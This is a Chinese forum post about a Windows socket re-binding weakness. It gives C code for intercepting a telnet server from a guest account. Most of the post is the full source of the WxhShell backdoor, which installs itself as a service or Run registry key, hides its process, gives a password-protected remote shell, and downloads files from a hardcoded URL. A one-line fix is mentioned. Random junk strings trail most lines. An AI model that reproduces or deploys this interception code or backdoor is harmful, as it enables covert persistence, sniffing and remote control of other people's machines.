社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12097阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Bf'(JJ7&N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &bNj/n/  
#/6X44 *u  
  saddr.sin_family = AF_INET; <Do89  
>~ :]+q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "tIx$?I  
,'}ZcN2)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _\zf XHp  
\/%mabLK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k2a^gCBC  
yo=d"*E4^  
  这意味着什么?意味着可以进行如下的攻击: mbK$Wp#  
%G*D0pE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3]Mx,u  
zjS<e XLs[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EWi@1PAZK  
:yeTzIz]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?T&D@Ohsx  
sh RvwE[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BH1To&ol  
Kk#@8h>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >#Y q&@G  
Bf.RYLsh6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  Qy%/+9L  
:A[/;|&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H#:Yw|t  
70Am]L&M  
  #include 9v A`\\9  
  #include EOiKwhrV  
  #include fr7/%{s  
  #include    /WMLr5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )/Vr 5b@  
  int main() a &j?"o  
  { f.{0P-Np  
  WORD wVersionRequested; 1*"Uc!7.%  
  DWORD ret; &+sN= J.x  
  WSADATA wsaData; =G`m7!Q)  
  BOOL val; qi$8GX=~r  
  SOCKADDR_IN saddr; !E8JpE|z#  
  SOCKADDR_IN scaddr; $}829<gh7  
  int err; g|oPRC$I'  
  SOCKET s; VI4d/2e  
  SOCKET sc; R.7" ZG  
  int caddsize; <5 +?&i  
  HANDLE mt; S;C3R5*:  
  DWORD tid;   POf \l  
  wVersionRequested = MAKEWORD( 2, 2 ); @ NF8?>!  
  err = WSAStartup( wVersionRequested, &wsaData ); KRQ/wuv  
  if ( err != 0 ) { |cacMgly  
  printf("error!WSAStartup failed!\n"); D'X'h}+2  
  return -1; y\:2Re/*Jt  
  } w;:,W@K  
  saddr.sin_family = AF_INET; h0`) =  
   "T'!cy  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?{n#j,v!  
Jg:'gF]jt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q&.!*rPD  
  saddr.sin_port = htons(23); xFJ>s-g*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) />?d 2?  
  { a;(:iMCi  
  printf("error!socket failed!\n"); >3JOQ;:d8  
  return -1; DI\^ +P  
  } 9f "*O j  
  val = TRUE; CfAqMH*ip  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0t~--/lA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x8H)m+AW  
  { qy !G&  
  printf("error!setsockopt failed!\n"); l/]P6 @N  
  return -1; Kfi A 7W  
  } cb+!H>+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R#t~i&v/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 psMagzr&)e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /[IK [  
P_;oSN|>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LZeR .8XM>  
  { ;rFa I^  
  ret=GetLastError(); srC jq  
  printf("error!bind failed!\n"); 1yo@CaW[\  
  return -1; ;RrfE8mGj  
  } HTC7fS  
  listen(s,2); *?uF&( 0  
  while(1) E,;nx^`!l  
  { V3-LVgM%  
  caddsize = sizeof(scaddr); a'|0e]  
  //接受连接请求 zUh(b=,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D -jew&B  
  if(sc!=INVALID_SOCKET) ,UP6.C14  
  { mHP1.Z`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :+YFO.7  
  if(mt==NULL) b`2~  
  { pyNPdEy  
  printf("Thread Creat Failed!\n"); c/s'&gG33z  
  break; k`?n("j  
  } eRf 8'-"#-  
  } 1F=x~FMvY  
  CloseHandle(mt); 6};Sn/ 8  
  } 9SrV,~zD  
  closesocket(s); TiOvrp7B  
  WSACleanup(); /f#sg7)  
  return 0; T57S!CJ^$5  
  }   }b-?Dm_H  
  DWORD WINAPI ClientThread(LPVOID lpParam) [~J4:yDd=  
  { :( `Q4D~l  
  SOCKET ss = (SOCKET)lpParam; .{Xi&[jw  
  SOCKET sc; i,~{{XS<  
  unsigned char buf[4096]; (<f[$ |%  
  SOCKADDR_IN saddr; +"C0de|-  
  long num; t+&WsCN  
  DWORD val; bZ389dSn  
  DWORD ret; kqy Y:J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Jlzhn#5c-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y-Z.AA,  
  saddr.sin_family = AF_INET; l-mUc1.S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q3;HfZ  
  saddr.sin_port = htons(23); h7*m+/O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $ }&6p6|  
  { _K9jj  
  printf("error!socket failed!\n"); A_[65'*b  
  return -1; =.uE(L`]NA  
  } ak'RV*>mT  
  val = 100; ThHK1{87X}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ci$o~b6V  
  { dkXK0k  
  ret = GetLastError(); 7==Uoy*O  
  return -1; &BQ`4j~.  
  } iQA f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4Fnr8 r8W  
  { ^@N@ gB  
  ret = GetLastError(); fQv^=DI#  
  return -1; 4WNWn#M  
  } $,R|$0B7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O=yUA AD$  
  { Ly^r8I  
  printf("error!socket connect failed!\n"); 0iwx$u 7[  
  closesocket(sc); X&K1>dgWP  
  closesocket(ss); $FD0MrB_+  
  return -1; N[AX29  
  } . [C ~a  
  while(1) xL mo?Y*  
  { 3 D\I#g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lc*<UZR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aK,G6y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P2lj#aQLS  
  num = recv(ss,buf,4096,0); E")82I  
  if(num>0) |n~- LH++  
  send(sc,buf,num,0); pN?  
  else if(num==0) 7^ER?@:W  
  break; or0f%wAF  
  num = recv(sc,buf,4096,0); @k6>&PS  
  if(num>0) &u.t5m7(  
  send(ss,buf,num,0); ]A'E61t<n  
  else if(num==0) O7E0{8  
  break; { c]y<q  
  } A_CK,S*\,&  
  closesocket(ss); Iz VtiX  
  closesocket(sc); c$>Tfa'H  
  return 0 ; G6L 'RP  
  }  aj1Zi3h  
5*~G7/hT  
,%Dn}mWu  
========================================================== )Wgh5C`  
j134iVF%  
下边附上一个代码,,WXhSHELL JEj.D=@[  
 d':c  
========================================================== <D=U=5  
uP<tP:  
#include "stdafx.h" 6tj +  
q&7J1  
#include <stdio.h> ^xFZ;Yf  
#include <string.h> 8n NRn[oS  
#include <windows.h> W* N^Gp@  
#include <winsock2.h> !}<Y^="  
#include <winsvc.h> FL- sXg  
#include <urlmon.h> D/{hLp{  
o AvX(  
#pragma comment (lib, "Ws2_32.lib") A=Dzd/CUO  
#pragma comment (lib, "urlmon.lib") HPT$)NeNc  
GXf"a3  
#define MAX_USER   100 // 最大客户端连接数 ?9.SwIxU&  
#define BUF_SOCK   200 // sock buffer KxqJlben  
#define KEY_BUFF   255 // 输入 buffer 8eQ 4[wJY  
<w<&,xM  
#define REBOOT     0   // 重启 p"3_u;cN  
#define SHUTDOWN   1   // 关机 )nQA) uz  
j#zUO&Q@  
#define DEF_PORT   5000 // 监听端口 dy`K5lC@  
{e,S}:$g4  
#define REG_LEN     16   // 注册表键长度 r+ k5Bk'  
#define SVC_LEN     80   // NT服务名长度 oF8#gn_  
(@[c;+x  
// 从dll定义API SBZqO'}7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LL4yafh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~}PB&`%7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0escp~\Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !-)Hog5\  
9+_SG/@  
// wxhshell配置信息 -ich N/U]s  
struct WSCFG { gWL'Fl}H  
  int ws_port;         // 监听端口 $0=f9+@5  
  char ws_passstr[REG_LEN]; // 口令 Z2!O)8  
  int ws_autoins;       // 安装标记, 1=yes 0=no wgp{P>oBX  
  char ws_regname[REG_LEN]; // 注册表键名 1>|2B&_^  
  char ws_svcname[REG_LEN]; // 服务名 5Z@OgR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #Fm,mO$v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \%g# __\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XcD$xFDZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #|ETH;HM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +a0q?$\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7&-B6Y4  
G&y< lh  
}; ;%{REa  
PS7ta?V QC  
// default Wxhshell configuration krnxM7y  
struct WSCFG wscfg={DEF_PORT, _vr> -:G  
    "xuhuanlingzhe", ;Hk{bz(  
    1, q &]I  
    "Wxhshell", t4X:I&l-M:  
    "Wxhshell", 8 6y)+h`  
            "WxhShell Service", eEl}.W}  
    "Wrsky Windows CmdShell Service", $qO%lJ:  
    "Please Input Your Password: ", D;*P'%_Z  
  1, L"e8S%UqX  
  "http://www.wrsky.com/wxhshell.exe", Po_y7 8ZD  
  "Wxhshell.exe" `o4alK\  
    }; mO%F {'  
qy|[V   
// 消息定义模块 \W:~;GMeD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LpN_s#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =n7QLQU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :|%k*z  
char *msg_ws_ext="\n\rExit."; %zsY=qT  
char *msg_ws_end="\n\rQuit."; @A?Ss8p'  
char *msg_ws_boot="\n\rReboot..."; tX)l_ ?jVH  
char *msg_ws_poff="\n\rShutdown..."; R+}7]tva6C  
char *msg_ws_down="\n\rSave to "; aGSix}b1P  
ny'?Hl'Q  
char *msg_ws_err="\n\rErr!"; J'4Pp<  
char *msg_ws_ok="\n\rOK!"; \k&2nYVHf  
kn9ul3c  
char ExeFile[MAX_PATH]; )jc`_{PQg  
int nUser = 0; F/.nr  
HANDLE handles[MAX_USER]; *ETSx{)8  
int OsIsNt; ))ArM-02  
]l/ PyX  
SERVICE_STATUS       serviceStatus; ^E-BB 6D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7\.{O$Q  
x)GpNkx:  
// 函数声明 &puPn:_  
int Install(void); Q &~|P}  
int Uninstall(void); ' m^nKG$"  
int DownloadFile(char *sURL, SOCKET wsh); 9eR4?^(3!  
int Boot(int flag); *,az`U  
void HideProc(void); b5!D('w>]  
int GetOsVer(void); .! 'SG6 q  
int Wxhshell(SOCKET wsl); P-]u&m/6  
void TalkWithClient(void *cs); fD:BKJQ  
int CmdShell(SOCKET sock); -?%81 z.Qq  
int StartFromService(void); d0U-:S-  
int StartWxhshell(LPSTR lpCmdLine); !DU4iq_.  
-}:; EGUtd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V)<Jj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p#;I4d G  
:}0>IPW-V  
// 数据结构和表定义 3mP251"dIW  
SERVICE_TABLE_ENTRY DispatchTable[] = XSOSy2:  
{ ,9~=yC  
{wscfg.ws_svcname, NTServiceMain}, e2F{}N  
{NULL, NULL} b';oFUU>Q  
}; ~$PY6s  
^GL>xlZ(  
// 自我安装 sx1w5rj.Y0  
int Install(void) JiN>sEAM  
{ W *.j=?)\[  
  char svExeFile[MAX_PATH]; >a%C'H.A9  
  HKEY key; ngLpiU0H&  
  strcpy(svExeFile,ExeFile); w#qE#g %1  
!94qF,#1  
// 如果是win9x系统,修改注册表设为自启动 nY M2Vxi0+  
if(!OsIsNt) { ){}1u ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H6/n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KATu7)e&~^  
  RegCloseKey(key); oU`{6 ~;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2p|ed=ly%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )JA9bR <  
  RegCloseKey(key); y?Cq{(  
  return 0; 2r^G;,{  
    } ;X;q8J^_K_  
  } {J~VB~('  
} OrP i ("/  
else { BWF>;*Xro  
!FA[ ]d4  
// 如果是NT以上系统,安装为系统服务 u; G-46  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2QIx~Er  
if (schSCManager!=0) Ci9]#)"c  
{ %n B}Hq ;  
  SC_HANDLE schService = CreateService hEhvA6f,  
  ( <rI8O;\H  
  schSCManager, C.`!?CW  
  wscfg.ws_svcname, *N65B#  
  wscfg.ws_svcdisp, r7FFZNs!  
  SERVICE_ALL_ACCESS, \DMZ M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c9O0YQ3&8  
  SERVICE_AUTO_START, nq%GLUH   
  SERVICE_ERROR_NORMAL, 2'U+QK@  
  svExeFile, &zV; p  
  NULL, @V=HY  
  NULL, 5c ($~EFr  
  NULL, X+KQ%Efo  
  NULL, v{8W+  
  NULL AGGNJ4m  
  ); Xn6'*u>+;[  
  if (schService!=0) PN"SBsc*j-  
  { nnZM{< !hF  
  CloseServiceHandle(schService); +/ U6p!  
  CloseServiceHandle(schSCManager); i87+9X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); + 'V ,z  
  strcat(svExeFile,wscfg.ws_svcname); <wTD}.n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~0V,B1a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,Pj UlcO_  
  RegCloseKey(key); I?OnEw  
  return 0; 2fFGS.l  
    } (@i2a  
  } ItxC}qT  
  CloseServiceHandle(schSCManager); y^}00Z+l  
} 7El:$H  
} mO^ )k  
)-\[A<(  
return 1; IA~wmOF  
} \1nj=ca?  
d)1Pl3+  
// 自我卸载 jrN"en  
int Uninstall(void) Jty/gjK+  
{ ^kh@AgG^  
  HKEY key; zlhI\jRdc  
p<8Ga.kiN  
if(!OsIsNt) { 3?r?)$Jk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m\eYm;R Vj  
  RegDeleteValue(key,wscfg.ws_regname); ~8tb^  
  RegCloseKey(key); L(`Rf0smt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dssecc'  
  RegDeleteValue(key,wscfg.ws_regname); h(gpq SN  
  RegCloseKey(key); mw fl x8  
  return 0; VRA0p[  
  } ~#PC(g  
} T{4Ru6[  
} ay>u``$R  
else { <2ymfL-q  
"yf#sEabV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d: LP8  
if (schSCManager!=0) :<PwG]LO  
{ eUEO~M2&U{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !g7bkA  
  if (schService!=0) wq>0W 4(  
  { Z"5ewU<?  
  if(DeleteService(schService)!=0) { &Ef_p-e-P  
  CloseServiceHandle(schService); !8}x6  
  CloseServiceHandle(schSCManager); xC YL3hl  
  return 0; |#J!oBS!  
  } [`U9  
  CloseServiceHandle(schService); dW9Ci"~v  
  } g1(`a`M  
  CloseServiceHandle(schSCManager); ~T:L0||.%9  
} fBZR  
} A5kz(pj  
'D[g{LkL  
return 1; !A=>B=.|D  
} Y N*"q'Yz_  
Hq."_i{I  
// 从指定url下载文件 -iySU 6  
int DownloadFile(char *sURL, SOCKET wsh) vJfj1 f  
{ |yYu!+U  
  HRESULT hr; 2>h.K/pC  
char seps[]= "/"; n+H);Dg<8  
char *token; DcX,o*ec!  
char *file; B`/p[U5  
char myURL[MAX_PATH]; ,#hx%$f}d  
char myFILE[MAX_PATH]; BiI`oCX  
{N`<TH PP  
strcpy(myURL,sURL); ZuVes?&j  
  token=strtok(myURL,seps); L%5g]=  
  while(token!=NULL) }1? 2  
  { /5r!Fhx  
    file=token; .!yw@kg  
  token=strtok(NULL,seps); 7!jb ID~  
  } BjAmM*k  
M'}iIO`L  
GetCurrentDirectory(MAX_PATH,myFILE); KpSho<  
strcat(myFILE, "\\"); 99u9L)  
strcat(myFILE, file); ? yek\X  
  send(wsh,myFILE,strlen(myFILE),0); {3){f;b  
send(wsh,"...",3,0); eG\`SKx_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9xM7X?  
  if(hr==S_OK) /8"9 sf *  
return 0; pHv~^L%=  
else sFa5#w*>  
return 1; $^louas&  
+Q!  
} Jwe9L^gL  
KV]8o'  
// 系统电源模块 /><+[\q4LM  
int Boot(int flag) {n-6e[  
{ MNV OloA  
  HANDLE hToken; r0fEW9wL  
  TOKEN_PRIVILEGES tkp; /qObXI  
1jkMje  
  if(OsIsNt) { 0PT\/imgN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _'"$,~ZWY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pqnZ:'V  
    tkp.PrivilegeCount = 1; L>{p>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0zrZrl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2-x#|9  
if(flag==REBOOT) { 0pl |  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sEm064  
  return 0; i2Cw#x0s  
} ^E= w3g&  
else { }.74w0~0^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e{fm7Cc)D  
  return 0; \A=:6R%Qb  
} }RN&w ]<  
  } # 25%17  
  else { $G .ws  
if(flag==REBOOT) { -$+`v<[r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Avr2MaY{h  
  return 0; ZINqIfc  
} L0dj 76'M  
else { =#K$b *#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `2.2; Vk  
  return 0; oRQJ YH  
}  b@m\ca  
} -3T~+  
Sz#dld Mz  
return 1; U6 $)e.FO  
} U3 y-cgE  
i! DO  
// win9x进程隐藏模块 \aB>Q"pS  
void HideProc(void) :$?^ID  
{ v5`Q7ZZ  
m[%*O#_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /R!/)sg  
  if ( hKernel != NULL ) 3 F ke#t  
  { }J-+^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w|0w<K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wU1h(D2&h  
    FreeLibrary(hKernel); )%D>U  
  } |)WN%#v  
XLxr@1   
return; xv:VW<  
} V detY\  
0Z<&M|G  
// 获取操作系统版本 y8|?J\eRy  
int GetOsVer(void) KOHYeiry~A  
{ Tye[iJ  
  OSVERSIONINFO winfo; 5^7q 2".  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l-G] jXu  
  GetVersionEx(&winfo); QfHO3Y6h[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MPI=^rc2  
  return 1; i |IG  
  else Mpu8/i gX,  
  return 0; yo@S.7[/  
} U-0A}@N  
^;=L|{Xl  
// 客户端句柄模块 Ln C5"  
int Wxhshell(SOCKET wsl) w!N?:}P<N  
{ F,'rW:{HMt  
  SOCKET wsh; 1@L|EFa  
  struct sockaddr_in client; :d,]BB  
  DWORD myID; JLFZy\  
qTD^Vz V  
  while(nUser<MAX_USER) Kfl#78$d  
{ Z<^TO1xs9B  
  int nSize=sizeof(client); 6 7{>x[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eg$y,Tx  
  if(wsh==INVALID_SOCKET) return 1; `7mRUDz  
+M/1,&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g&oAa;~o  
if(handles[nUser]==0) ;R x Rap  
  closesocket(wsh); r}]%(D](v  
else "0edk"hk  
  nUser++; *%,{<C,Y  
  } DpZO$5.Ec+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a][QY1E@?  
'|JBA.s|  
  return 0; jJOs`'~Q\  
} !0k'fYCa  
+'f+0T\)  
// 关闭 socket M7JQw/,xs  
void CloseIt(SOCKET wsh) KqNbIw*sR  
{ ]1k"'XG4,  
closesocket(wsh); jQIb :\0#  
nUser--; ?5e]^H}  
ExitThread(0); ,9@JBV%_  
} U'K{>"~1a  
?cRGdLP'D  
// 客户端请求句柄 |>U:Pb(  
void TalkWithClient(void *cs) 0`D` Je<t  
{ 01^+HEbm  
]/klKqz  
  SOCKET wsh=(SOCKET)cs; q*E<~!jL  
  char pwd[SVC_LEN]; mIy|]e`SJ  
  char cmd[KEY_BUFF]; 8\H*Z2yF+  
char chr[1]; 9KgGK cy%  
int i,j; Gi=s|vt  
t6JM%  
  while (nUser < MAX_USER) { $ /p/9 -  
k~,({T<  
if(wscfg.ws_passstr) { ! O~:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zl4X,9Wt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |0Y: /uL#)  
  //ZeroMemory(pwd,KEY_BUFF); VsJ4sb7  
      i=0; ZD(VH6<g%  
  while(i<SVC_LEN) { C ks;f6G  
tW)K pX  
  // 设置超时 yur5" $n  
  fd_set FdRead; a6<UMJ  
  struct timeval TimeOut; & uMx*TTY  
  FD_ZERO(&FdRead); d)yu`U  
  FD_SET(wsh,&FdRead); iXsX@ S^F  
  TimeOut.tv_sec=8; 6";ew:Ih^  
  TimeOut.tv_usec=0; !Yi2g -(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {k"t`uo_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ah9P C7[  
uihU)]+@t/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7kDqgod^A  
  pwd=chr[0]; 1](PuQm7+  
  if(chr[0]==0xd || chr[0]==0xa) { "AcC\iq  
  pwd=0; suF<VJ)&s  
  break; ](2\w9i%  
  } L)qDtXd4  
  i++; $]`rWSYtv`  
    } E'ay @YAp  
YQ7\99tj  
  // 如果是非法用户,关闭 socket P]mJ01@'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TEN~3 Ef#  
} gL(_!mcwu  
LjEG1$F>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); , R;k>'.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FO S5?%J  
=lOdg3#\a  
while(1) { qe3d,!  
ALY3en9,  
  ZeroMemory(cmd,KEY_BUFF); 4A {6)<e  
q4y sTm  
      // 自动支持客户端 telnet标准   )kpNg:2p  
  j=0; $3'xb/3|  
  while(j<KEY_BUFF) { W_bp~Wu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GnFm*L  
  cmd[j]=chr[0]; qOs'Ljx6l  
  if(chr[0]==0xa || chr[0]==0xd) { ~cL)0/j}  
  cmd[j]=0; 49iqrP'  
  break; E3"j7y[S  
  } ][TA7pDPV  
  j++; ?;xL]~Q~1  
    } epm ~  
WZ6'"Cz`  
  // 下载文件 uy'qIq  
  if(strstr(cmd,"http://")) { Q*54!^l+_r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #i'wDvhol  
  if(DownloadFile(cmd,wsh)) vKFEA7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [fZhfZ)<  
  else rf=oH }  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N eC]MW  
  } 9@^N* E+  
  else { ;BmPP,  
\`oP\|Z  
    switch(cmd[0]) { s/\<;g:u^  
  me+u"G9I;  
  // 帮助 8mM`v  
  case '?': { Y~Z&h?H'}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m8,jVR  
    break; wvcj*{7[  
  } > Hwf/Gf[  
  // 安装 Z/e^G f#i  
  case 'i': { %$6?em_  
    if(Install()) u/.# zn@9h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +k{l]-)1  
    else Ov~vK\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "UUoT  
    break; +|6E~#zklY  
    } CsX@u#  
  // 卸载 @ QfbIP9  
  case 'r': { #9rCF 3P  
    if(Uninstall()) %{B4M#~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O^DLp/vM  
    else J;S Z"I'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t3<HE_B|  
    break; kk$D:UQX  
    } )u=46EU_  
  // 显示 wxhshell 所在路径 U&o ~U] rm  
  case 'p': { hH]oJ}H \  
    char svExeFile[MAX_PATH]; t;b1<TLn0  
    strcpy(svExeFile,"\n\r"); 5;CqGzgoP  
      strcat(svExeFile,ExeFile); Z \S'HNU  
        send(wsh,svExeFile,strlen(svExeFile),0); #Fckev4  
    break; B,4 3b O  
    } ,E &W{b  
  // 重启 PnJA'@x  
  case 'b': { lGXr-K?+Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f3SAK!V+s  
    if(Boot(REBOOT)) 8E|FFHNK<2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bp/ k{7  
    else { bo &QKK  
    closesocket(wsh); 4hWFgk  
    ExitThread(0); TUX:[1~Nf[  
